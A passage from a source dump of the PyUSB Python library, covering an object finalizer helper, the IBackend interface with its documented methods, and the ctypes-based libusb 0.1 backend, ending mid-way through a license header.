EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. import sys __all__ = ['AutoFinalizedObject'] class _AutoFinalizedObjectBase(object): """ Base class for objects that get automatically finalized on delete or at exit. """ def _finalize_object(self): """Actually finalizes the object (frees allocated resources etc.). Returns: None Derived classes should implement this. """ pass def __new__(cls, *args, **kwargs): """Creates a new object instance and adds the private finalizer attributes to it. Returns: new object instance Arguments: * *args, **kwargs -- ignored """ instance = super(_AutoFinalizedObjectBase, cls).__new__(cls) instance._finalize_called = False return instance def _do_finalize_object(self): """Helper method that finalizes the object if not already done. Returns: None """ if not self._finalize_called: # race-free? self._finalize_called = True self._finalize_object() def finalize(self): """Finalizes the object if not already done. Returns: None """ # this is the "public" finalize method raise NotImplementedError( "finalize() must be implemented by AutoFinalizedObject." ) def __del__(self): self.finalize() if sys.hexversion >= 0x3040000: # python >= 3.4: use weakref.finalize import weakref def _do_finalize_object_ref(obj_ref): """Helper function for weakref.finalize() that dereferences a weakref to an object and calls its _do_finalize_object() method if the object is still alive. Does nothing otherwise. Returns: None (implicit) Arguments: * obj_ref -- weakref to an object """ obj = obj_ref() if obj is not None: # else object disappeared obj._do_finalize_object() class AutoFinalizedObject(_AutoFinalizedObjectBase): def __new__(cls, *args, **kwargs): """Creates a new object instance and adds the private finalizer attributes to it. Returns: new object instance Arguments: * *args, **kwargs -- passed to the parent instance creator (which ignores them) """ # Note: Do not pass a (hard) reference to instance to the # finalizer as func/args/kwargs, it'd keep the object # alive until the program terminates. # A weak reference is fine. # # Note 2: When using weakrefs and not calling finalize() in # __del__, the object may already have disappeared # when weakref.finalize() kicks in. # Make sure that _finalizer() gets called, # i.e. keep __del__() from the base class. # # Note 3: the _finalize_called attribute is (probably) useless # for this class instance = super(AutoFinalizedObject, cls).__new__( cls, *args, **kwargs ) instance._finalizer = weakref.finalize( instance, _do_finalize_object_ref, weakref.ref(instance) ) return instance def finalize(self): """Finalizes the object if not already done.""" self._finalizer() else: # python < 3.4: keep the old behavior (rely on __del__), # but don't call _finalize_object() more than once class AutoFinalizedObject(_AutoFinalizedObjectBase): def finalize(self): """Finalizes the object if not already done.""" self._do_finalize_object() ================================================ FILE: usb/backend/__init__.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. r"""usb.backend - Backend interface. This module exports: IBackend - backend interface. Backends are Python objects which implement the IBackend interface. The easiest way to do so is inherinting from IBackend. PyUSB already provides backends for libusb versions 0.1 and 1.0, and OpenUSB library. Backends modules included with PyUSB are required to export the get_backend() function, which returns an instance of a backend object. You can provide your own customized backend if you want to. Below you find a skeleton of a backend implementation module: import usb.backend class MyBackend(usb.backend.IBackend): pass def get_backend(): return MyBackend() You can use your customized backend by passing it as the backend parameter of the usb.core.find() function. For example: import custom_backend import usb.core myidVendor = 0xfffe myidProduct = 0x0001 mybackend = custom_backend.get_backend() dev = usb.core.find(backend = mybackend, idProduct=myidProduct, idVendor=myidVendor) For custom backends, you are not required to supply the get_backend() function, since the application code will instantiate the backend. If you do not provide a backend to the find() function, it will use one of the defaults backend according to its internal rules. For details, consult the find() function documentation. """ import usb._objfinalizer as _objfinalizer __author__ = 'Wander Lairson Costa' __all__ = ['IBackend', 'libusb01', 'libusb10', 'openusb'] def _not_implemented(func): raise NotImplementedError(func.__name__) class IBackend(_objfinalizer.AutoFinalizedObject): r"""Backend interface. IBackend is the basic interface for backend implementations. By default, the methods of the interface raise a NotImplementedError exception. A backend implementation should replace the methods to provide the funcionality necessary. As Python is a dynamic typed language, you are not obligated to inherit from IBackend: everything that behaves like an IBackend is an IBackend. But you are strongly recommended to do so, inheriting from IBackend provides consistent default behavior. """ def enumerate_devices(self): r"""This function is required to return an iterable object which yields an implementation defined device identification for each USB device found in the system. The device identification object is used as argument to other methods of the interface. """ _not_implemented(self.enumerate_devices) def get_device_descriptor(self, dev): r"""Return the device descriptor of the given device. The object returned is required to have all the Device Descriptor fields accessible as member variables. They must be convertible (but not required to be equal) to the int type. dev is an object yielded by the iterator returned by the enumerate_devices() method. """ _not_implemented(self.get_device_descriptor) def get_configuration_descriptor(self, dev, config): r"""Return a configuration descriptor of the given device. The object returned is required to have all the Configuration Descriptor fields acessible as member variables. They must be convertible (but not required to be equal) to the int type. The dev parameter is the device identification object. config is the logical index of the configuration (not the bConfigurationValue field). By "logical index" we mean the relative order of the configurations returned by the peripheral as a result of GET_DESCRIPTOR request. """ _not_implemented(self.get_configuration_descriptor) def get_interface_descriptor(self, dev, intf, alt, config): r"""Return an interface descriptor of the given device. The object returned is required to have all the Interface Descriptor fields accessible as member variables. They must be convertible (but not required to be equal) to the int type. The dev parameter is the device identification object. The intf parameter is the interface logical index (not the bInterfaceNumber field) and alt is the alternate setting logical index (not the bAlternateSetting value). Not every interface has more than one alternate setting. In this case, the alt parameter should be zero. config is the configuration logical index (not the bConfigurationValue field). """ _not_implemented(self.get_interface_descriptor) def get_endpoint_descriptor(self, dev, ep, intf, alt, config): r"""Return an endpoint descriptor of the given device. The object returned is required to have all the Endpoint Descriptor fields acessible as member variables. They must be convertible (but not required to be equal) to the int type. The ep parameter is the endpoint logical index (not the bEndpointAddress field) of the endpoint descriptor desired. dev, intf, alt and config are the same values already described in the get_interface_descriptor() method. """ _not_implemented(self.get_endpoint_descriptor) def open_device(self, dev): r"""Open the device for data exchange. This method opens the device identified by the dev parameter for communication. This method must be called before calling any communication related method, such as transfer methods. It returns a handle identifying the communication instance. This handle must be passed to the communication methods. """ _not_implemented(self.open_device) def close_device(self, dev_handle): r"""Close the device handle. This method closes the device communication channel and releases any system resources related to it. """ _not_implemented(self.close_device) def set_configuration(self, dev_handle, config_value): r"""Set the active device configuration. This method should be called to set the active configuration of the device. The dev_handle parameter is the value returned by the open_device() method and the config_value parameter is the bConfigurationValue field of the related configuration descriptor. """ _not_implemented(self.set_configuration) def get_configuration(self, dev_handle): r"""Get the current active device configuration. This method returns the bConfigurationValue of the currently active configuration. Depending on the backend and the OS, either a cached value may be returned or a control request may be issued. The dev_handle parameter is the value returned by the open_device method. """ _not_implemented(self.get_configuration) def set_interface_altsetting(self, dev_handle, intf, altsetting): r"""Set the interface alternate setting. This method should only be called when the interface has more than one alternate setting. The dev_handle is the value returned by the open_device() method. intf and altsetting are respectivelly the bInterfaceNumber and bAlternateSetting fields of the related interface. """ _not_implemented(self.set_interface_altsetting) def claim_interface(self, dev_handle, intf): r"""Claim the given interface. Interface claiming is not related to USB spec itself, but it is generally an necessary call of the USB libraries. It requests exclusive access to the interface on the system. This method must be called before using one of the transfer methods. dev_handle is the value returned by the open_device() method and intf is the bInterfaceNumber field of the desired interface. """ _not_implemented(self.claim_interface) def release_interface(self, dev_handle, intf): r"""Release the claimed interface. dev_handle and intf are the same parameters of the claim_interface method. """ _not_implemented(self.release_interface) def bulk_write(self, dev_handle, ep, intf, data, timeout): r"""Perform a bulk write. dev_handle is the value returned by the open_device() method. The ep parameter is the bEndpointAddress field whose endpoint the data will be sent to. intf is the bInterfaceNumber field of the interface containing the endpoint. The data parameter is the data to be sent. It must be an instance of the array.array class. The timeout parameter specifies a time limit to the operation in miliseconds. The method returns the number of bytes written. """ _not_implemented(self.bulk_write) def bulk_read(self, dev_handle, ep, intf, buff, timeout): r"""Perform a bulk read. dev_handle is the value returned by the open_device() method. The ep parameter is the bEndpointAddress field whose endpoint the data will be received from. intf is the bInterfaceNumber field of the interface containing the endpoint. The buff parameter is the buffer to receive the data read, the length of the buffer tells how many bytes should be read. The timeout parameter specifies a time limit to the operation in miliseconds. The method returns the number of bytes actually read. """ _not_implemented(self.bulk_read) def intr_write(self, dev_handle, ep, intf, data, timeout): r"""Perform an interrupt write. dev_handle is the value returned by the open_device() method. The ep parameter is the bEndpointAddress field whose endpoint the data will be sent to. intf is the bInterfaceNumber field of the interface containing the endpoint. The data parameter is the data to be sent. It must be an instance of the array.array class. The timeout parameter specifies a time limit to the operation in miliseconds. The method returns the number of bytes written. """ _not_implemented(self.intr_write) def intr_read(self, dev_handle, ep, intf, size, timeout): r"""Perform an interrut read. dev_handle is the value returned by the open_device() method. The ep parameter is the bEndpointAddress field whose endpoint the data will be received from. intf is the bInterfaceNumber field of the interface containing the endpoint. The buff parameter is the buffer to receive the data read, the length of the buffer tells how many bytes should be read. The timeout parameter specifies a time limit to the operation in miliseconds. The method returns the number of bytes actually read. """ _not_implemented(self.intr_read) def iso_write(self, dev_handle, ep, intf, data, timeout): r"""Perform an isochronous write. dev_handle is the value returned by the open_device() method. The ep parameter is the bEndpointAddress field whose endpoint the data will be sent to. intf is the bInterfaceNumber field of the interface containing the endpoint. The data parameter is the data to be sent. It must be an instance of the array.array class. The timeout parameter specifies a time limit to the operation in miliseconds. The method returns the number of bytes written. """ _not_implemented(self.iso_write) def iso_read(self, dev_handle, ep, intf, size, timeout): r"""Perform an isochronous read. dev_handle is the value returned by the open_device() method. The ep parameter is the bEndpointAddress field whose endpoint the data will be received from. intf is the bInterfaceNumber field of the interface containing the endpoint. The buff parameter is buffer to receive the data read, the length of the buffer tells how many bytes should be read. The timeout parameter specifies a time limit to the operation in miliseconds. The method returns the number of bytes actually read. """ _not_implemented(self.iso_read) def ctrl_transfer(self, dev_handle, bmRequestType, bRequest, wValue, wIndex, data, timeout): r"""Perform a control transfer on the endpoint 0. The direction of the transfer is inferred from the bmRequestType field of the setup packet. dev_handle is the value returned by the open_device() method. bmRequestType, bRequest, wValue and wIndex are the same fields of the setup packet. data is an array object, for OUT requests it contains the bytes to transmit in the data stage and for IN requests it is the buffer to hold the data read. The number of bytes requested to transmit or receive is equal to the length of the array times the data.itemsize field. The timeout parameter specifies a time limit to the operation in miliseconds. Return the number of bytes written (for OUT transfers) or the data read (for IN transfers), as an array.array object. """ _not_implemented(self.ctrl_transfer) def clear_halt(self, dev_handle, ep): r"""Clear the halt/stall condition for the endpoint.""" _not_implemented(self.clear_halt) def reset_device(self, dev_handle): r"""Reset the device.""" _not_implemented(self.reset_device) def is_kernel_driver_active(self, dev_handle, intf): r"""Determine if a kernel driver is active on an interface. If a kernel driver is active, you cannot claim the interface, and the backend will be unable to perform I/O. """ _not_implemented(self.is_kernel_driver_active) def detach_kernel_driver(self, dev_handle, intf): r"""Detach a kernel driver from an interface. If successful, you will then be able to claim the interface and perform I/O. """ _not_implemented(self.detach_kernel_driver) def attach_kernel_driver(self, dev_handle, intf): r"""Re-attach an interface's kernel driver, which was previously detached using detach_kernel_driver().""" _not_implemented(self.attach_kernel_driver) ================================================ FILE: usb/backend/libusb0.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. from ctypes import * import os import usb.backend import usb.util import sys from usb.core import USBError from usb._debug import methodtrace import usb._interop as _interop import logging import usb.libloader __author__ = 'Wander Lairson Costa' __all__ = ['get_backend'] _logger = logging.getLogger('usb.backend.libusb0') # usb.h if sys.platform.find('bsd') != -1 or sys.platform.find('mac') != -1 or \ sys.platform.find('darwin') != -1 or sys.platform.find('sunos5') != -1: _PATH_MAX = 1024 elif sys.platform == 'win32' or sys.platform == 'cygwin': _PATH_MAX = 511 else: _PATH_MAX = os.pathconf('.', 'PC_PATH_MAX') # libusb-win32 makes all structures packed, while # default libusb only does for some structures # _PackPolicy defines the structure packing according # to the platform. class _PackPolicy(object): pass if sys.platform == 'win32' or sys.platform == 'cygwin': _PackPolicy._pack_ = 1 # Data structures class _usb_descriptor_header(Structure): _pack_ = 1 _fields_ = [('blength', c_uint8), ('bDescriptorType', c_uint8)] class _usb_string_descriptor(Structure): _pack_ = 1 _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('wData', c_uint16)] class _usb_endpoint_descriptor(Structure, _PackPolicy): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bEndpointAddress', c_uint8), ('bmAttributes', c_uint8), ('wMaxPacketSize', c_uint16), ('bInterval', c_uint8), ('bRefresh', c_uint8), ('bSynchAddress', c_uint8), ('extra', POINTER(c_uint8)), ('extralen', c_int)] class _usb_interface_descriptor(Structure, _PackPolicy): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bInterfaceNumber', c_uint8), ('bAlternateSetting', c_uint8), ('bNumEndpoints', c_uint8), ('bInterfaceClass', c_uint8), ('bInterfaceSubClass', c_uint8), ('bInterfaceProtocol', c_uint8), ('iInterface', c_uint8), ('endpoint', POINTER(_usb_endpoint_descriptor)), ('extra', POINTER(c_uint8)), ('extralen', c_int)] class _usb_interface(Structure, _PackPolicy): _fields_ = [('altsetting', POINTER(_usb_interface_descriptor)), ('num_altsetting', c_int)] class _usb_config_descriptor(Structure, _PackPolicy): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('wTotalLength', c_uint16), ('bNumInterfaces', c_uint8), ('bConfigurationValue', c_uint8), ('iConfiguration', c_uint8), ('bmAttributes', c_uint8), ('bMaxPower', c_uint8), ('interface', POINTER(_usb_interface)), ('extra', POINTER(c_uint8)), ('extralen', c_int)] class _usb_device_descriptor(Structure, _PackPolicy): _pack_ = 1 _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bcdUSB', c_uint16), ('bDeviceClass', c_uint8), ('bDeviceSubClass', c_uint8), ('bDeviceProtocol', c_uint8), ('bMaxPacketSize0', c_uint8), ('idVendor', c_uint16), ('idProduct', c_uint16), ('bcdDevice', c_uint16), ('iManufacturer', c_uint8), ('iProduct', c_uint8), ('iSerialNumber', c_uint8), ('bNumConfigurations', c_uint8)] class _usb_device(Structure, _PackPolicy): pass class _usb_bus(Structure, _PackPolicy): pass _usb_device._fields_ = [('next', POINTER(_usb_device)), ('prev', POINTER(_usb_device)), ('filename', c_int8 * (_PATH_MAX + 1)), ('bus', POINTER(_usb_bus)), ('descriptor', _usb_device_descriptor), ('config', POINTER(_usb_config_descriptor)), ('dev', c_void_p), ('devnum', c_uint8), ('num_children', c_ubyte), ('children', POINTER(POINTER(_usb_device)))] _usb_bus._fields_ = [('next', POINTER(_usb_bus)), ('prev', POINTER(_usb_bus)), ('dirname', c_char * (_PATH_MAX + 1)), ('devices', POINTER(_usb_device)), ('location', c_uint32), ('root_dev', POINTER(_usb_device))] _usb_dev_handle = c_void_p class _DeviceDescriptor: def __init__(self, dev): desc = dev.descriptor self.bLength = desc.bLength self.bDescriptorType = desc.bDescriptorType self.bcdUSB = desc.bcdUSB self.bDeviceClass = desc.bDeviceClass self.bDeviceSubClass = desc.bDeviceSubClass self.bDeviceProtocol = desc.bDeviceProtocol self.bMaxPacketSize0 = desc.bMaxPacketSize0 self.idVendor = desc.idVendor self.idProduct = desc.idProduct self.bcdDevice = desc.bcdDevice self.iManufacturer = desc.iManufacturer self.iProduct = desc.iProduct self.iSerialNumber = desc.iSerialNumber self.bNumConfigurations = desc.bNumConfigurations self.address = dev.devnum self.bus = dev.bus[0].location self.port_number = None self.port_numbers = None self.speed = None _lib = None def _load_library(find_library=None): return usb.libloader.load_locate_library( ('usb-0.1', 'usb', 'libusb0'), 'cygusb0.dll', 'Libusb 0', find_library=find_library ) def _setup_prototypes(lib): # usb_dev_handle *usb_open(struct usb_device *dev); lib.usb_open.argtypes = [POINTER(_usb_device)] lib.usb_open.restype = _usb_dev_handle # int usb_close(usb_dev_handle *dev); lib.usb_close.argtypes = [_usb_dev_handle] # int usb_get_string(usb_dev_handle *dev, # int index, # int langid, # char *buf, # size_t buflen); lib.usb_get_string.argtypes = [ _usb_dev_handle, c_int, c_int, c_char_p, c_size_t ] # int usb_get_string_simple(usb_dev_handle *dev, # int index, # char *buf, # size_t buflen); lib.usb_get_string_simple.argtypes = [ _usb_dev_handle, c_int, c_char_p, c_size_t ] # int usb_get_descriptor_by_endpoint(usb_dev_handle *udev, # int ep, # unsigned char type, # unsigned char index, # void *buf, # int size); lib.usb_get_descriptor_by_endpoint.argtypes = [ _usb_dev_handle, c_int, c_ubyte, c_ubyte, c_void_p, c_int ] # int usb_get_descriptor(usb_dev_handle *udev, # unsigned char type, # unsigned char index, # void *buf, # int size); lib.usb_get_descriptor.argtypes = [ _usb_dev_handle, c_ubyte, c_ubyte, c_void_p, c_int ] # int usb_bulk_write(usb_dev_handle *dev, # int ep, # const char *bytes, # int size, # int timeout); lib.usb_bulk_write.argtypes = [ _usb_dev_handle, c_int, c_char_p, c_int, c_int ] # int usb_bulk_read(usb_dev_handle *dev, # int ep, # char *bytes, # int size, # int timeout); lib.usb_bulk_read.argtypes = [ _usb_dev_handle, c_int, c_char_p, c_int, c_int ] # int usb_interrupt_write(usb_dev_handle *dev, # int ep, # const char *bytes, # int size, # int timeout); lib.usb_interrupt_write.argtypes = [ _usb_dev_handle, c_int, c_char_p, c_int, c_int ] # int usb_interrupt_read(usb_dev_handle *dev, # int ep, # char *bytes, # int size, # int timeout); lib.usb_interrupt_read.argtypes = [ _usb_dev_handle, c_int, c_char_p, c_int, c_int ] # int usb_control_msg(usb_dev_handle *dev, # int requesttype, # int request, # int value, # int index, # char *bytes, # int size, # int timeout); lib.usb_control_msg.argtypes = [ _usb_dev_handle, c_int, c_int, c_int, c_int, c_char_p, c_int, c_int ] # int usb_set_configuration(usb_dev_handle *dev, int configuration); lib.usb_set_configuration.argtypes = [_usb_dev_handle, c_int] # int usb_claim_interface(usb_dev_handle *dev, int interface); lib.usb_claim_interface.argtypes = [_usb_dev_handle, c_int] # int usb_release_interface(usb_dev_handle *dev, int interface); lib.usb_release_interface.argtypes = [_usb_dev_handle, c_int] # int usb_set_altinterface(usb_dev_handle *dev, int alternate); lib.usb_set_altinterface.argtypes = [_usb_dev_handle, c_int] # int usb_resetep(usb_dev_handle *dev, unsigned int ep); lib.usb_resetep.argtypes = [_usb_dev_handle, c_int] # int usb_clear_halt(usb_dev_handle *dev, unsigned int ep); lib.usb_clear_halt.argtypes = [_usb_dev_handle, c_int] # int usb_reset(usb_dev_handle *dev); lib.usb_reset.argtypes = [_usb_dev_handle] # char *usb_strerror(void); lib.usb_strerror.argtypes = [] lib.usb_strerror.restype = c_char_p # void usb_set_debug(int level); lib.usb_set_debug.argtypes = [c_int] # struct usb_device *usb_device(usb_dev_handle *dev); lib.usb_device.argtypes = [_usb_dev_handle] lib.usb_device.restype = POINTER(_usb_device) # struct usb_bus *usb_get_busses(void); lib.usb_get_busses.restype = POINTER(_usb_bus) # linux only # int usb_detach_kernel_driver_np(usb_dev_handle *dev, int interface); if hasattr(lib, 'usb_detach_kernel_driver_np'): lib.usb_detach_kernel_driver_np.argtypes = [_usb_dev_handle, c_int] # libusb-win32 only # int usb_isochronous_setup_async(usb_dev_handle *dev, # void **context, # unsigned char ep, # int pktsize) if hasattr(lib, 'usb_isochronous_setup_async'): lib.usb_isochronous_setup_async.argtypes = \ [_usb_dev_handle, POINTER(c_void_p), c_uint8, c_int] # int usb_bulk_setup_async(usb_dev_handle *dev, # void **context, # unsigned char ep) if hasattr(lib, 'usb_bulk_setup_async'): lib.usb_bulk_setup_async.argtypes = \ [_usb_dev_handle, POINTER(c_void_p), c_uint8] # int usb_interrupt_setup_async(usb_dev_handle *dev, # void **context, # unsigned char ep) if hasattr(lib, 'usb_interrupt_setup_async'): lib.usb_interrupt_setup_async.argtypes = \ [_usb_dev_handle, POINTER(c_void_p), c_uint8] # int usb_submit_async(void *context, char *bytes, int size) if hasattr(lib, 'usb_submit_async'): lib.usb_submit_async.argtypes = [c_void_p, c_char_p, c_int] # int usb_reap_async(void *context, int timeout) if hasattr(lib, 'usb_reap_async'): lib.usb_reap_async.argtypes = [c_void_p, c_int] # int usb_reap_async_nocancel(void *context, int timeout) if hasattr(lib, 'usb_reap_async_nocancel'): lib.usb_reap_async_nocancel.argtypes = [c_void_p, c_int] # int usb_cancel_async(void *context) if hasattr(lib, 'usb_cancel_async'): lib.usb_cancel_async.argtypes = [c_void_p] # int usb_free_async(void **context) if hasattr(lib, 'usb_free_async'): lib.usb_free_async.argtypes = [POINTER(c_void_p)] def _check(ret): if ret is None: errmsg = _lib.usb_strerror() else: if hasattr(ret, 'value'): ret = ret.value if ret < 0: errmsg = _lib.usb_strerror() # No error means that we need to get the error # message from the return code # Thanks to Nicholas Wheeler to point out the problem... # Also see issue #2860940 if errmsg.lower() == 'no error': errmsg = os.strerror(-ret) else: return ret raise USBError(errmsg, ret) def _has_iso_transfer(): return hasattr(_lib, 'usb_isochronous_setup_async') # implementation of libusb 0.1.x backend class _LibUSB(usb.backend.IBackend): @methodtrace(_logger) def enumerate_devices(self): _check(_lib.usb_find_busses()) _check(_lib.usb_find_devices()) bus = _lib.usb_get_busses() while bool(bus): dev = bus[0].devices while bool(dev): yield dev[0] dev = dev[0].next bus = bus[0].next @methodtrace(_logger) def get_device_descriptor(self, dev): return _DeviceDescriptor(dev) @methodtrace(_logger) def get_configuration_descriptor(self, dev, config): if config >= dev.descriptor.bNumConfigurations: raise IndexError('Invalid configuration index ' + str(config)) config_desc = dev.config[config] config_desc.extra_descriptors = config_desc.extra[:config_desc.extralen] return config_desc @methodtrace(_logger) def get_interface_descriptor(self, dev, intf, alt, config): cfgdesc = self.get_configuration_descriptor(dev, config) if intf >= cfgdesc.bNumInterfaces: raise IndexError('Invalid interface index ' + str(intf)) interface = cfgdesc.interface[intf] if alt >= interface.num_altsetting: raise IndexError('Invalid alternate setting index ' + str(alt)) intf_desc = interface.altsetting[alt] intf_desc.extra_descriptors = intf_desc.extra[:intf_desc.extralen] return intf_desc @methodtrace(_logger) def get_endpoint_descriptor(self, dev, ep, intf, alt, config): interface = self.get_interface_descriptor(dev, intf, alt, config) if ep >= interface.bNumEndpoints: raise IndexError('Invalid endpoint index ' + str(ep)) ep_desc = interface.endpoint[ep] ep_desc.extra_descriptors = ep_desc.extra[:ep_desc.extralen] return ep_desc @methodtrace(_logger) def open_device(self, dev): return _check(_lib.usb_open(dev)) @methodtrace(_logger) def close_device(self, dev_handle): _check(_lib.usb_close(dev_handle)) @methodtrace(_logger) def set_configuration(self, dev_handle, config_value): _check(_lib.usb_set_configuration(dev_handle, config_value)) @methodtrace(_logger) def get_configuration(self, dev_handle): bmRequestType = usb.util.build_request_type( usb.util.CTRL_IN, usb.util.CTRL_TYPE_STANDARD, usb.util.CTRL_RECIPIENT_DEVICE ) buff = usb.util.create_buffer(1) ret = self.ctrl_transfer( dev_handle, bmRequestType, 0x08, 0, 0, buff, 100) assert ret == 1 return buff[0] @methodtrace(_logger) def set_interface_altsetting(self, dev_handle, intf, altsetting): _check(_lib.usb_set_altinterface(dev_handle, altsetting)) @methodtrace(_logger) def claim_interface(self, dev_handle, intf): _check(_lib.usb_claim_interface(dev_handle, intf)) @methodtrace(_logger) def release_interface(self, dev_handle, intf): _check(_lib.usb_release_interface(dev_handle, intf)) @methodtrace(_logger) def bulk_write(self, dev_handle, ep, intf, data, timeout): return self.__write(_lib.usb_bulk_write, dev_handle, ep, intf, data, timeout) @methodtrace(_logger) def bulk_read(self, dev_handle, ep, intf, buff, timeout): return self.__read(_lib.usb_bulk_read, dev_handle, ep, intf, buff, timeout) @methodtrace(_logger) def intr_write(self, dev_handle, ep, intf, data, timeout): return self.__write(_lib.usb_interrupt_write, dev_handle, ep, intf, data, timeout) @methodtrace(_logger) def intr_read(self, dev_handle, ep, intf, buff, timeout): return self.__read(_lib.usb_interrupt_read, dev_handle, ep, intf, buff, timeout) @methodtrace(_logger) def iso_write(self, dev_handle, ep, intf, data, timeout): if not _has_iso_transfer(): return usb.backend.IBackend.iso_write(self, dev_handle, ep, intf, data, timeout) return self.__iso_transfer(dev_handle, ep, intf, data, timeout) @methodtrace(_logger) def iso_read(self, dev_handle, ep, intf, buff, timeout): if not _has_iso_transfer(): return usb.backend.IBackend.iso_read(self, dev_handle, ep, intf, buff, timeout) return self.__iso_transfer(dev_handle, ep, intf, buff, timeout) @methodtrace(_logger) def ctrl_transfer(self, dev_handle, bmRequestType, bRequest, wValue, wIndex, data, timeout): address, length = data.buffer_info() length *= data.itemsize return _check(_lib.usb_control_msg( dev_handle, bmRequestType, bRequest, wValue, wIndex, cast(address, c_char_p), length, timeout )) @methodtrace(_logger) def clear_halt(self, dev_handle, ep): _check(_lib.usb_clear_halt(dev_handle, ep)) @methodtrace(_logger) def reset_device(self, dev_handle): _check(_lib.usb_reset(dev_handle)) @methodtrace(_logger) def detach_kernel_driver(self, dev_handle, intf): _check(_lib.usb_detach_kernel_driver_np(dev_handle, intf)) def __write(self, fn, dev_handle, ep, intf, data, timeout): address, length = data.buffer_info() length *= data.itemsize return int(_check(fn( dev_handle, ep, cast(address, c_char_p), length, timeout ))) def __read(self, fn, dev_handle, ep, intf, buff, timeout): address, length = buff.buffer_info() length *= buff.itemsize ret = int(_check(fn( dev_handle, ep, cast(address, c_char_p), length, timeout ))) return ret def __iso_transfer(self, dev_handle, ep, intf, data, timeout): context = c_void_p() buff, length = data.buffer_info() length *= data.itemsize _check(_lib.usb_isochronous_setup_async( dev_handle, byref(context), ep, 0)) transmitted = 0 try: while transmitted < length: _check(_lib.usb_submit_async( context, cast(buff + transmitted, c_char_p), length - transmitted)) ret = _check(_lib.usb_reap_async(context, timeout)) if not ret: return transmitted transmitted += ret except: if not transmitted: raise finally: _check(_lib.usb_free_async(byref(context))) return transmitted def get_backend(find_library=None): global _lib try: if _lib is None: _lib = _load_library(find_library) _setup_prototypes(_lib) _lib.usb_init() return _LibUSB() except usb.libloader.LibraryException: # exception already logged (if any) _logger.error('Error loading libusb 0.1 backend', exc_info=False) return None except Exception: _logger.error('Error loading libusb 0.1 backend', exc_info=True) return None ================================================ FILE: usb/backend/libusb1.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS 